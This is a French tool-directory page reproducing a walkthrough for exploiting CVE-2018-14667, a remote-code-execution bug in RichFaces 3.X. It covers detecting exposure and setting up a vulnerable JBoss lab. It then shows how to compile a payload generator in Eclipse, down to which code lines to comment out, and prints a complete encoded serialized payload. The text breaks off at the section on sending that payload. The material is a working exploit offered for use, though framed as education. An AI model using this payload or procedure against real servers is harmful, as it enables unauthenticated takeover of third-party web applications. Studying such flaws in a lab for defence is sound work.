Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-14667 — Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès. | Kitploit
Outils/GitHubGitHub/syriusbughunt/cve-2018-14667
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès.

Voir le dépôt
5093il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-14667

Après avoir passé beaucoup de temps à comprendre et à exploiter correctement cette CVE, j'ai décidé de créer un dépôt sur le bug RCE de RichFaces 3.X et de partager les procédures pas à pas avec la communauté.

0x00 : Introduction sur le bug de RichFaces 3.X

Le lundi 19 novembre, Joao F M Figueiredo a publié un article très détaillé (https://seclists.org/fulldisclosure/2018/Nov/47) sur une vulnérabilité critique à haut risque de RichFaces.
Score de base CVSS3 9.8

Cette vulnérabilité permettra à tout utilisateur non authentifié d'exécuter du code à distance sur toute application web utilisant RichFaces 3.X (toutes versions), ce qui est pratiquement le pire des cas.

0x01 : Suis-je concerné ? 

Eh bien, si vous utilisez RichFaces 3.X (toute version de RichFaces 3) et que vous voyez le code suivant dans votre source, il y a de fortes chances que vous soyez vulnérable à l'exécution de code à distance via CVE-2018-14667 :

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : Exécution d'un environnement vulnérable pour tester le bug 

Je vais essentiellement réexpliquer ce qui a déjà été couvert dans l'article de seclists.org sur le déploiement d'un environnement vulnérable.

  1. Téléchargez JBoss 5.1.0GA et une application de démonstration avec RichFaces qui contient l'application PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Décompressez l'archive ZIP.
  3. Copiez l'application richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear dans le répertoire de déploiement JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Démarrez le serveur d'applications JBoss en utilisant la syntaxe suivante (assurez-vous avant de lancer que votre port 8080 n'est pas déjà utilisé) : cd bin ; ./run.sh -b 0.0.0.0
  5. Vous devrez naviguer sur la page d'index de PhotoAlbum pour activer l'application web.

0x03 : Génération d'une charge utile valide 

Maintenant la partie amusante ! C'est là que j'ai rencontré des difficultés, donc je vais expliquer en détail comment générer une charge utile valide sans répéter les mêmes erreurs que j'ai faites. Je suggère d'utiliser Eclipse pour compiler la charge utile.

  1. Téléchargez Eclipse sur le lien suivant :
    → https://www.eclipse.org/downloads/
  2. Lancez Eclipse et choisissez de créer un nouveau projet Web.
  3. Obtenez le générateur de charge utile (crédits à orich1 de https://xz.aliyun.com/t/3264) disponible dans ce dépôt
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Extrayez l'archive WAR dans ce dépôt (richfaces-demo-3.3.0.GA-tomcat6.war), copiez tous les fichiers .jar du dossier WEB-INF/lib/ vers WebContent/WEB-INF/lib/ dans votre projet Java Web dans Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Ajoutez le fichier Main.java dans Eclipse ; faites un clic droit sur le nom de votre projet Java Web dans Eclipse, New, File.
  6. Faites du dossier WebContent/WEB-INF/lib la source du Build Path dans Eclipse ; clic droit sur le dossier lib, Build Path, Use as Source Folder.
  7. Voyons si vous avez de la chance ; cliquez sur le bouton vert Play pour exécuter le compilateur. Si vous obtenez 0 erreur et une charge utile valide dans votre sortie, félicitations, vous avez maintenant une charge utile valide pour CVE-2018-14667. Maintenant, si vous rencontrez toutes sortes d'erreurs, ne paniquez pas. Vous voudrez peut-être commenter les lignes suivantes : 29,30,31,32,33,34,35 pour qu'elles ressemblent à ceci :
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Le résultat de votre sortie dans Eclipse devrait ressembler à ceci :

/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Envoi de votre charge utile et obtention d'exécution de code à distance 

Télécharger l’outil